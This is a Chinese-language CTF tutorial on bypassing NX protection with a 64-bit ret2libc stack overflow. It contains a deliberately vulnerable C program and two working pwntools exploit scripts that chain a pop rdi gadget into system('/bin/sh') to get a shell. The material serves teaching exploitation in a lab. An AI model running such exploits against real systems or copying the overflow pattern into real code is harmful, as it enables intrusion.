CTF中的PWN——繞NX防護1(本地libc 棧溢出)

    進階到防護篇了,首先學一下NX防護的基礎題目。

NX防護

    NX是數據與程序的分水嶺,棧溢出核心思想是通過局部變量覆蓋函數返回地址來修改EIP和注入 Shellcode,在函數返回時跳到Shellcode去執行。要防止這種攻擊,最有效的辦法就是讓攻擊者注入的Shellcode無法執行,這就是數據執行保護(Data Execution Prevention, DEP)安全機制的初衷NX策略是使棧區域的代碼無法執行。

    系統把需要寫入數據的內存標識爲可寫,把保存指令的內存標識爲可執行,但是不會有一塊內存被同時表示爲可寫和可執行的。DEP述語是微軟公司提出來的,在window XP操作系統開始支持該安全特性。DEP特性需要硬件頁表機制來提供支持。Linux在X86_32位CPU沒有提供軟件的DEP機制,在64位CPU則利用NX位來實現DEP(當前Linux很少將該特性說成DEP)。

    NX題目代碼如下:

#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
   char buffer[64];
   memcpy(buffer,msg,128);
   return;
}

int main()
{
   puts("So plz give me your shellcode:");
   char buffer[256];
   memset(buffer,0,256);
   read(0,buffer,256);
   vul(buffer);
   return 0;
}

    編譯後使用file及checksec查看程序信息:

     程序使用了NX防護,拖入IDA中查看:

 

    發現溢出點,程序函數中也無可用函數等,那麼此類NX程序有兩種PWN方式。

方式一:

    直接在gdb_peda中使用print system  print exit  find /bin/sh來獲取地址,不過需要關閉aslr,獲取相關地址如下:

  溢出點距離EIP的偏移量爲0x40 + 8 = 72,payload形式爲:nop + pop rdi | ret + arg + system。因爲是64bit,所以傳參與32不一樣。payload構造如下:

from pwn import *

p = process('./nx1')

sys_addr = 0x7ffff7e3aff0
sh_addr = 0x7ffff7f77cee
pop_rdi = 0x40123b

payload = 'A' * 72 + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)

p.recvuntil('So plz give me your shellcode:')
p.sendline(payload)
p.interactive()

    關閉ASLR後運行如下:

方式二:

    將libc鏈接庫導入同目錄,直接搜索就行,不用關閉ASLR。

    首先查看程序導入的鏈接庫位置並將文件copy至程序目錄下:

     payload思路爲在腳本中使用elf.symbols['system']和next(elf.symbols['/bin/sh'])來查找system函數及/bin/sh在libc中的地址,然後溢出即可:

from pwn import *

p = process('./nx1')
p.recvuntil("shellcode:")

#load libc.so.6
elf = ELF('libc.so.6')

#system offset  in libc
system_in_libc = elf.symbols['system']
#'/bin/sh' offset in libc
bin_sh_in_libc = next(elf.search('/bin/sh'))

#libc  base address
libc_base = 0x00007ffff7df4000
#pop rip;ret address
gadget_addr =  0x000000000040123b
#system_addr in process
system_addr = libc_base + system_in_libc
#'/bin/sh' address in process
bin_sh_addr = libc_base + bin_sh_in_libc

print hex(system_addr) +'----'+hex(bin_sh_addr)

payload = 'A'*72                                                
payload += p64(gadget_addr)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

#with open('poc','wb') as f :
#    f.write(buf)

p.sendline(payload)
p.interactive()

    腳本運行結果如圖:

結語:

    上述PWN方法只是繞NX最基本的操作,但所有繞NX的程序都是基於此方法的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章